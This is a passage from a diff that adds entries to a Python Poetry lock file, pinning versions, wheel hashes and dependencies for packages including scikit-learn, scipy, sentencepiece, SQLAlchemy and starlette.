+ {file = "scikit_learn-1.3.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee04835fb016e8062ee9fe9074aef9b82e430504e420bff51e3e5fffe72750ca"},
+ {file = "scikit_learn-1.3.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d953531f5d9f00c90c34fa3b7d7cfb43ecff4c605dac9e4255a20b114a27369"},
+ {file = "scikit_learn-1.3.0-cp311-cp311-win_amd64.whl", hash = "sha256:151ac2bf65ccf363664a689b8beafc9e6aae36263db114b4ca06fbbbf827444a"},
+ {file = "scikit_learn-1.3.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:6a885a9edc9c0a341cab27ec4f8a6c58b35f3d449c9d2503a6fd23e06bbd4f6a"},
+ {file = "scikit_learn-1.3.0-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:9877af9c6d1b15486e18a94101b742e9d0d2f343d35a634e337411ddb57783f3"},
+ {file = "scikit_learn-1.3.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c470f53cea065ff3d588050955c492793bb50c19a92923490d18fcb637f6383a"},
+ {file = "scikit_learn-1.3.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd6e2d7389542eae01077a1ee0318c4fec20c66c957f45c7aac0c6eb0fe3c612"},
+ {file = "scikit_learn-1.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:3a11936adbc379a6061ea32fa03338d4ca7248d86dd507c81e13af428a5bc1db"},
+ {file = "scikit_learn-1.3.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:998d38fcec96584deee1e79cd127469b3ad6fefd1ea6c2dfc54e8db367eb396b"},
+ {file = "scikit_learn-1.3.0-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:ded35e810438a527e17623ac6deae3b360134345b7c598175ab7741720d7ffa7"},
+ {file = "scikit_learn-1.3.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0e8102d5036e28d08ab47166b48c8d5e5810704daecf3a476a4282d562be9a28"},
+ {file = "scikit_learn-1.3.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7617164951c422747e7c32be4afa15d75ad8044f42e7d70d3e2e0429a50e6718"},
+ {file = "scikit_learn-1.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:1d54fb9e6038284548072df22fd34777e434153f7ffac72c8596f2d6987110dd"},
+]
+
+[package.dependencies]
+joblib = ">=1.1.1"
+numpy = ">=1.17.3"
+scipy = ">=1.5.0"
+threadpoolctl = ">=2.0.0"
+
+[package.extras]
+benchmark = ["matplotlib (>=3.1.3)", "memory-profiler (>=0.57.0)", "pandas (>=1.0.5)"]
+docs = ["Pillow (>=7.1.2)", "matplotlib (>=3.1.3)", "memory-profiler (>=0.57.0)", "numpydoc (>=1.2.0)", "pandas (>=1.0.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.16.2)", "seaborn (>=0.9.0)", "sphinx (>=6.0.0)", "sphinx-copybutton (>=0.5.2)", "sphinx-gallery (>=0.10.1)", "sphinx-prompt (>=1.3.0)", "sphinxext-opengraph (>=0.4.2)"]
+examples = ["matplotlib (>=3.1.3)", "pandas (>=1.0.5)", "plotly (>=5.14.0)", "pooch (>=1.6.0)", "scikit-image (>=0.16.2)", "seaborn (>=0.9.0)"]
+tests = ["black (>=23.3.0)", "matplotlib (>=3.1.3)", "mypy (>=1.3)", "numpydoc (>=1.2.0)", "pandas (>=1.0.5)", "pooch (>=1.6.0)", "pyamg (>=4.0.0)", "pytest (>=7.1.2)", "pytest-cov (>=2.9.0)", "ruff (>=0.0.272)", "scikit-image (>=0.16.2)"]
+
+[[package]]
+name = "scipy"
+version = "1.9.3"
+description = "Fundamental algorithms for scientific computing in Python"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "scipy-1.9.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:1884b66a54887e21addf9c16fb588720a8309a57b2e258ae1c7986d4444d3bc0"},
+ {file = "scipy-1.9.3-cp310-cp310-macosx_12_0_arm64.whl", hash = "sha256:83b89e9586c62e787f5012e8475fbb12185bafb996a03257e9675cd73d3736dd"},
+ {file = "scipy-1.9.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a72d885fa44247f92743fc20732ae55564ff2a519e8302fb7e18717c5355a8b"},
+ {file = "scipy-1.9.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d01e1dd7b15bd2449c8bfc6b7cc67d630700ed655654f0dfcf121600bad205c9"},
+ {file = "scipy-1.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:68239b6aa6f9c593da8be1509a05cb7f9efe98b80f43a5861cd24c7557e98523"},
+ {file = "scipy-1.9.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b41bc822679ad1c9a5f023bc93f6d0543129ca0f37c1ce294dd9d386f0a21096"},
+ {file = "scipy-1.9.3-cp311-cp311-macosx_12_0_arm64.whl", hash = "sha256:90453d2b93ea82a9f434e4e1cba043e779ff67b92f7a0e85d05d286a3625df3c"},
+ {file = "scipy-1.9.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:83c06e62a390a9167da60bedd4575a14c1f58ca9dfde59830fc42e5197283dab"},
+ {file = "scipy-1.9.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:abaf921531b5aeaafced90157db505e10345e45038c39e5d9b6c7922d68085cb"},
+ {file = "scipy-1.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:06d2e1b4c491dc7d8eacea139a1b0b295f74e1a1a0f704c375028f8320d16e31"},
+ {file = "scipy-1.9.3-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:5a04cd7d0d3eff6ea4719371cbc44df31411862b9646db617c99718ff68d4840"},
+ {file = "scipy-1.9.3-cp38-cp38-macosx_12_0_arm64.whl", hash = "sha256:545c83ffb518094d8c9d83cce216c0c32f8c04aaf28b92cc8283eda0685162d5"},
+ {file = "scipy-1.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d54222d7a3ba6022fdf5773931b5d7c56efe41ede7f7128c7b1637700409108"},
+ {file = "scipy-1.9.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cff3a5295234037e39500d35316a4c5794739433528310e117b8a9a0c76d20fc"},
+ {file = "scipy-1.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:2318bef588acc7a574f5bfdff9c172d0b1bf2c8143d9582e05f878e580a3781e"},
+ {file = "scipy-1.9.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d644a64e174c16cb4b2e41dfea6af722053e83d066da7343f333a54dae9bc31c"},
+ {file = "scipy-1.9.3-cp39-cp39-macosx_12_0_arm64.whl", hash = "sha256:da8245491d73ed0a994ed9c2e380fd058ce2fa8a18da204681f2fe1f57f98f95"},
+ {file = "scipy-1.9.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4db5b30849606a95dcf519763dd3ab6fe9bd91df49eba517359e450a7d80ce2e"},
+ {file = "scipy-1.9.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c68db6b290cbd4049012990d7fe71a2abd9ffbe82c0056ebe0f01df8be5436b0"},
+ {file = "scipy-1.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:5b88e6d91ad9d59478fafe92a7c757d00c59e3bdc3331be8ada76a4f8d683f58"},
+ {file = "scipy-1.9.3.tar.gz", hash = "sha256:fbc5c05c85c1a02be77b1ff591087c83bc44579c6d2bd9fb798bb64ea5e1a027"},
+]
+
+[package.dependencies]
+numpy = ">=1.18.5,<1.26.0"
+
+[package.extras]
+dev = ["flake8", "mypy", "pycodestyle", "typing_extensions"]
+doc = ["matplotlib (>2)", "numpydoc", "pydata-sphinx-theme (==0.9.0)", "sphinx (!=4.1.0)", "sphinx-panels (>=0.5.2)", "sphinx-tabs"]
+test = ["asv", "gmpy2", "mpmath", "pytest", "pytest-cov", "pytest-xdist", "scikit-umfpack", "threadpoolctl"]
+
+[[package]]
+name = "sentence-transformers"
+version = "2.2.2"
+description = "Multilingual text embeddings"
+optional = false
+python-versions = ">=3.6.0"
+files = [
+ {file = "sentence-transformers-2.2.2.tar.gz", hash = "sha256:dbc60163b27de21076c9a30d24b5b7b6fa05141d68cf2553fa9a77bf79a29136"},
+]
+
+[package.dependencies]
+huggingface-hub = ">=0.4.0"
+nltk = "*"
+numpy = "*"
+scikit-learn = "*"
+scipy = "*"
+sentencepiece = "*"
+torch = ">=1.6.0"
+torchvision = "*"
+tqdm = "*"
+transformers = ">=4.6.0,<5.0.0"
+
+[[package]]
+name = "sentencepiece"
+version = "0.1.99"
+description = "SentencePiece python wrapper"
+optional = false
+python-versions = "*"
+files = [
+ {file = "sentencepiece-0.1.99-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:0eb528e70571b7c02723e5804322469b82fe7ea418c96051d0286c0fa028db73"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:77d7fafb2c4e4659cbdf303929503f37a26eabc4ff31d3a79bf1c5a1b338caa7"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:be9cf5b9e404c245aeb3d3723c737ba7a8f5d4ba262ef233a431fa6c45f732a0"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:baed1a26464998f9710d20e52607c29ffd4293e7c71c6a1f83f51ad0911ec12c"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9832f08bb372d4c8b567612f8eab9e36e268dff645f1c28f9f8e851be705f6d1"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:019e7535108e309dae2b253a75834fc3128240aa87c00eb80732078cdc182588"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-win32.whl", hash = "sha256:fa16a830416bb823fa2a52cbdd474d1f7f3bba527fd2304fb4b140dad31bb9bc"},
+ {file = "sentencepiece-0.1.99-cp310-cp310-win_amd64.whl", hash = "sha256:14b0eccb7b641d4591c3e12ae44cab537d68352e4d3b6424944f0c447d2348d5"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6d3c56f24183a1e8bd61043ff2c58dfecdc68a5dd8955dc13bab83afd5f76b81"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ed6ea1819fd612c989999e44a51bf556d0ef6abfb553080b9be3d347e18bcfb7"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a2a0260cd1fb7bd8b4d4f39dc2444a8d5fd4e0a0c4d5c899810ef1abf99b2d45"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8a1abff4d1ff81c77cac3cc6fefa34fa4b8b371e5ee51cb7e8d1ebc996d05983"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:004e6a621d4bc88978eecb6ea7959264239a17b70f2cbc348033d8195c9808ec"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:db361e03342c41680afae5807590bc88aa0e17cfd1a42696a160e4005fcda03b"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-win32.whl", hash = "sha256:2d95e19168875b70df62916eb55428a0cbcb834ac51d5a7e664eda74def9e1e0"},
+ {file = "sentencepiece-0.1.99-cp311-cp311-win_amd64.whl", hash = "sha256:f90d73a6f81248a909f55d8e6ef56fec32d559e1e9af045f0b0322637cb8e5c7"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:62e24c81e74bd87a6e0d63c51beb6527e4c0add67e1a17bac18bcd2076afcfeb"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57efcc2d51caff20d9573567d9fd3f854d9efe613ed58a439c78c9f93101384a"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6a904c46197993bd1e95b93a6e373dca2f170379d64441041e2e628ad4afb16f"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d89adf59854741c0d465f0e1525b388c0d174f611cc04af54153c5c4f36088c4"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-win32.whl", hash = "sha256:47c378146928690d1bc106fdf0da768cebd03b65dd8405aa3dd88f9c81e35dba"},
+ {file = "sentencepiece-0.1.99-cp36-cp36m-win_amd64.whl", hash = "sha256:9ba142e7a90dd6d823c44f9870abdad45e6c63958eb60fe44cca6828d3b69da2"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:b7b1a9ae4d7c6f1f867e63370cca25cc17b6f4886729595b885ee07a58d3cec3"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0f644c9d4d35c096a538507b2163e6191512460035bf51358794a78515b74f7"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c8843d23a0f686d85e569bd6dcd0dd0e0cbc03731e63497ca6d5bacd18df8b85"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:33e6f690a1caebb4867a2e367afa1918ad35be257ecdb3455d2bbd787936f155"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-win32.whl", hash = "sha256:8a321866c2f85da7beac74a824b4ad6ddc2a4c9bccd9382529506d48f744a12c"},
+ {file = "sentencepiece-0.1.99-cp37-cp37m-win_amd64.whl", hash = "sha256:c42f753bcfb7661c122a15b20be7f684b61fc8592c89c870adf52382ea72262d"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:85b476406da69c70586f0bb682fcca4c9b40e5059814f2db92303ea4585c650c"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cfbcfe13c69d3f87b7fcd5da168df7290a6d006329be71f90ba4f56bc77f8561"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:445b0ec381af1cd4eef95243e7180c63d9c384443c16c4c47a28196bd1cda937"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c6890ea0f2b4703f62d0bf27932e35808b1f679bdb05c7eeb3812b935ba02001"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fb71af492b0eefbf9f2501bec97bcd043b6812ab000d119eaf4bd33f9e283d03"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:27b866b5bd3ddd54166bbcbf5c8d7dd2e0b397fac8537991c7f544220b1f67bc"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-win32.whl", hash = "sha256:b133e8a499eac49c581c3c76e9bdd08c338cc1939e441fee6f92c0ccb5f1f8be"},
+ {file = "sentencepiece-0.1.99-cp38-cp38-win_amd64.whl", hash = "sha256:0eaf3591dd0690a87f44f4df129cf8d05d8a4029b5b6709b489b8e27f9a9bcff"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:38efeda9bbfb55052d482a009c6a37e52f42ebffcea9d3a98a61de7aee356a28"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:6c030b081dc1e1bcc9fadc314b19b740715d3d566ad73a482da20d7d46fd444c"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:84dbe53e02e4f8a2e45d2ac3e430d5c83182142658e25edd76539b7648928727"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b0f55d0a0ee1719b4b04221fe0c9f0c3461dc3dabd77a035fa2f4788eb3ef9a"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:18e800f206cd235dc27dc749299e05853a4e4332e8d3dfd81bf13d0e5b9007d9"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2ae1c40cda8f9d5b0423cfa98542735c0235e7597d79caf318855cdf971b2280"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-win32.whl", hash = "sha256:c84ce33af12ca222d14a1cdd37bd76a69401e32bc68fe61c67ef6b59402f4ab8"},
+ {file = "sentencepiece-0.1.99-cp39-cp39-win_amd64.whl", hash = "sha256:350e5c74d739973f1c9643edb80f7cc904dc948578bcb1d43c6f2b173e5d18dd"},
+ {file = "sentencepiece-0.1.99.tar.gz", hash = "sha256:189c48f5cb2949288f97ccdb97f0473098d9c3dcf5a3d99d4eabe719ec27297f"},
+]
+
+[[package]]
+name = "six"
+version = "1.16.0"
+description = "Python 2 and 3 compatibility utilities"
+optional = false
+python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*"
+files = [
+ {file = "six-1.16.0-py2.py3-none-any.whl", hash = "sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254"},
+ {file = "six-1.16.0.tar.gz", hash = "sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926"},
+]
+
+[[package]]
+name = "sniffio"
+version = "1.3.0"
+description = "Sniff out which async library your code is running under"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "sniffio-1.3.0-py3-none-any.whl", hash = "sha256:eecefdce1e5bbfb7ad2eeaabf7c1eeb404d7757c379bd1f7e5cce9d8bf425384"},
+ {file = "sniffio-1.3.0.tar.gz", hash = "sha256:e60305c5e5d314f5389259b7f22aaa33d8f7dee49763119234af3755c55b9101"},
+]
+
+[[package]]
+name = "sqlalchemy"
+version = "2.0.18"
+description = "Database Abstraction Library"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:7ddd6d35c598af872f9a0a5bce7f7c4a1841684a72dab3302e3df7f17d1b5249"},
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:00aa050faf24ce5f2af643e2b86822fa1d7149649995f11bc1e769bbfbf9010b"},
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7db97eabd440327c35b751d5ebf78a107f505586485159bcc87660da8bb1fdca"},
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:9da4ee8f711e077633730955c8f3cd2485c9abf5ea0f80aac23221a3224b9a8c"},
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-win32.whl", hash = "sha256:5dd574a37be388512c72fe0d7318cb8e31743a9b2699847a025e0c08c5bf579d"},
+ {file = "SQLAlchemy-2.0.18-cp310-cp310-win_amd64.whl", hash = "sha256:6852cd34d96835e4c9091c1e6087325efb5b607b75fd9f7075616197d1c4688a"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:10e001a84f820fea2640e4500e12322b03afc31d8f4f6b813b44813b2a7c7e0d"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:bffd6cd47c2e68970039c0d3e355c9ed761d3ca727b204e63cd294cad0e3df90"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b7b3ebfa9416c8eafaffa65216e229480c495e305a06ba176dcac32710744e6"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:79228a7b90d95957354f37b9d46f2cc8926262ae17b0d3ed8f36c892f2a37e06"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ba633b51835036ff0f402c21f3ff567c565a22ff0a5732b060a68f4660e2a38f"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:8da677135eff43502b7afab5a1e641edfb2dc734ba7fc146e9b1b86817a728e2"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-win32.whl", hash = "sha256:82edf3a6090554a83942cec79151d6b5eb96e63d143e80e4cf6671e5d772f6be"},
+ {file = "SQLAlchemy-2.0.18-cp311-cp311-win_amd64.whl", hash = "sha256:69ae0e9509c43474e33152abe1385b8954922544616426bf793481e1a37e094f"},
+ {file = "SQLAlchemy-2.0.18-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:09397a18733fa2a4c7680b746094f980060666ee549deafdb5e102a99ce4619b"},
+ {file = "SQLAlchemy-2.0.18-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1aac42a21a7fa6c9665392c840b295962992ddf40aecf0a88073bc5c76728117"},
+ {file = "SQLAlchemy-2.0.18-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:a6f1d8256d06f58e6ece150fbe05c63c7f9510df99ee8ac37423f5476a2cebb4"},
+ {file = "SQLAlchemy-2.0.18-cp37-cp37m-win32.whl", hash = "sha256:67fbb40db3985c0cfb942fe8853ad94a5e9702d2987dec03abadc2f3b6a24afb"},
+ {file = "SQLAlchemy-2.0.18-cp37-cp37m-win_amd64.whl", hash = "sha256:afb322ca05e2603deedbcd2e9910f11a3fd2f42bdeafe63018e5641945c7491c"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:908c850b98cac1e203ababd4ba76868d19ae0d7172cdc75d3f1b7829b16837d2"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:10514adc41fc8f5922728fbac13d401a1aefcf037f009e64ca3b92464e33bf0e"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:420bc6d06d4ae7fb6921524334689eebcbea7bf2005efef070a8562cc9527a37"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:556dc18e39b6edb76239acfd1c010e37395a54c7fde8c57481c15819a3ffb13e"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-win32.whl", hash = "sha256:7b8cba5a25e95041e3413d91f9e50616bcfaec95afa038ce7dc02efefe576745"},
+ {file = "SQLAlchemy-2.0.18-cp38-cp38-win_amd64.whl", hash = "sha256:0f7fdcce52cd882b559a57b484efc92e108efeeee89fab6b623aba1ac68aad2e"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:d7a2c1e711ce59ac9d0bba780318bcd102d2958bb423209f24c6354d8c4da930"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:5c95e3e7cc6285bf7ff263eabb0d3bfe3def9a1ff98124083d45e5ece72f4579"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bfa1a0f83bdf8061db8d17c2029454722043f1e4dd1b3d3d3120d1b54e75825a"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:4ebc542d2289c0b016d6945fd07a7e2e23f4abc41e731ac8ad18a9e0c2fd0ec2"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-win32.whl", hash = "sha256:774bd401e7993452ba0596e741c0c4d6d22f882dd2a798993859181dbffadc62"},
+ {file = "SQLAlchemy-2.0.18-cp39-cp39-win_amd64.whl", hash = "sha256:2756485f49e7df5c2208bdc64263d19d23eba70666f14ad12d6d8278a2fff65f"},
+ {file = "SQLAlchemy-2.0.18-py3-none-any.whl", hash = "sha256:6c5bae4c288bda92a7550fe8de9e068c0a7cd56b1c5d888aae5b40f0e13b40bd"},
+ {file = "SQLAlchemy-2.0.18.tar.gz", hash = "sha256:1fb792051db66e09c200e7bc3bda3b1eb18a5b8eb153d2cedb2b14b56a68b8cb"},
+]
+
+[package.dependencies]
+greenlet = {version = "!=0.4.17", markers = "platform_machine == \"win32\" or platform_machine == \"WIN32\" or platform_machine == \"AMD64\" or platform_machine == \"amd64\" or platform_machine == \"x86_64\" or platform_machine == \"ppc64le\" or platform_machine == \"aarch64\""}
+typing-extensions = ">=4.2.0"
+
+[package.extras]
+aiomysql = ["aiomysql", "greenlet (!=0.4.17)"]
+aiosqlite = ["aiosqlite", "greenlet (!=0.4.17)", "typing-extensions (!=3.10.0.1)"]
+asyncio = ["greenlet (!=0.4.17)"]
+asyncmy = ["asyncmy (>=0.2.3,!=0.2.4,!=0.2.6)", "greenlet (!=0.4.17)"]
+mariadb-connector = ["mariadb (>=1.0.1,!=1.1.2,!=1.1.5)"]
+mssql = ["pyodbc"]
+mssql-pymssql = ["pymssql"]
+mssql-pyodbc = ["pyodbc"]
+mypy = ["mypy (>=0.910)"]
+mysql = ["mysqlclient (>=1.4.0)"]
+mysql-connector = ["mysql-connector-python"]
+oracle = ["cx-oracle (>=7)"]
+oracle-oracledb = ["oracledb (>=1.0.1)"]
+postgresql = ["psycopg2 (>=2.7)"]
+postgresql-asyncpg = ["asyncpg", "greenlet (!=0.4.17)"]
+postgresql-pg8000 = ["pg8000 (>=1.29.1)"]
+postgresql-psycopg = ["psycopg (>=3.0.7)"]
+postgresql-psycopg2binary = ["psycopg2-binary"]
+postgresql-psycopg2cffi = ["psycopg2cffi"]
+postgresql-psycopgbinary = ["psycopg[binary] (>=3.0.7)"]
+pymysql = ["pymysql"]
+sqlcipher = ["sqlcipher3-binary"]
+
+[[package]]
+name = "starlette"
+version = "0.19.1"
+description = "The little ASGI library that shines."
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "starlette-0.19.1-py3-none-any.whl", hash = "sha256:5a60c5c2d051f3a8eb546136aa0c9399773a689595e099e0877704d5888279bf"},
+ {file = "starlette-0.19.1.tar.gz", hash = "sha256:c6d21096774ecb9639acad41b86b7706e52ba3bf1dc13ea4ed9ad593d47e24c7"},
+]
+
+[package.dependencies]
+anyio = ">=3.4.0,<5"
+
+[package.extras]
+full = ["itsdangerous", "jinja2", "python-multipart", "pyyaml", "requests"]
+
+[[package]]
+name = "structlog"
+version = "23.1.0"
+description = "Structured Logging for Python"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "structlog-23.1.0-py3-none-any.whl", hash = "sha256:79b9e68e48b54e373441e130fa447944e6f87a05b35de23138e475c05d0f7e0e"},
+ {file = "structlog-23.1.0.tar.gz", hash = "sha256:270d681dd7d163c11ba500bc914b2472d2b50a8ef00faa999ded5ff83a2f906b"},
+]
+
+[package.extras]
+dev = ["structlog[docs,tests,typing]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-mermaid", "twisted"]
+tests = ["coverage[toml]", "freezegun (>=0.2.8)", "pretend", "pytest (>=6.0)", "pytest-asyncio (>=0.17)", "simplejson"]
+typing = ["mypy", "rich", "twisted"]
+
+[[package]]
+name = "sympy"
+version = "1.12"
+description = "Computer algebra system (CAS) in Python"
+optional = false
+python-versions = ">=3.8"
+files = [
+ {file = "sympy-1.12-py3-none-any.whl", hash = "sha256:c3588cd4295d0c0f603d0f2ae780587e64e2efeedb3521e46b9bb1d08d184fa5"},
+ {file = "sympy-1.12.tar.gz", hash = "sha256:ebf595c8dac3e0fdc4152c51878b498396ec7f30e7a914d6071e674d49420fb8"},
+]
+
+[package.dependencies]
+mpmath = ">=0.19"
+
+[[package]]
+name = "tenacity"
+version = "8.2.2"
+description = "Retry code until it succeeds"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "tenacity-8.2.2-py3-none-any.whl", hash = "sha256:2f277afb21b851637e8f52e6a613ff08734c347dc19ade928e519d7d2d8569b0"},
+ {file = "tenacity-8.2.2.tar.gz", hash = "sha256:43af037822bd0029025877f3b2d97cc4d7bb0c2991000a3d59d71517c5c969e0"},
+]
+
+[package.extras]
+doc = ["reno", "sphinx", "tornado (>=4.5)"]
+
+[[package]]
+name = "threadpoolctl"
+version = "3.1.0"
+description = "threadpoolctl"
+optional = false
+python-versions = ">=3.6"
+files = [
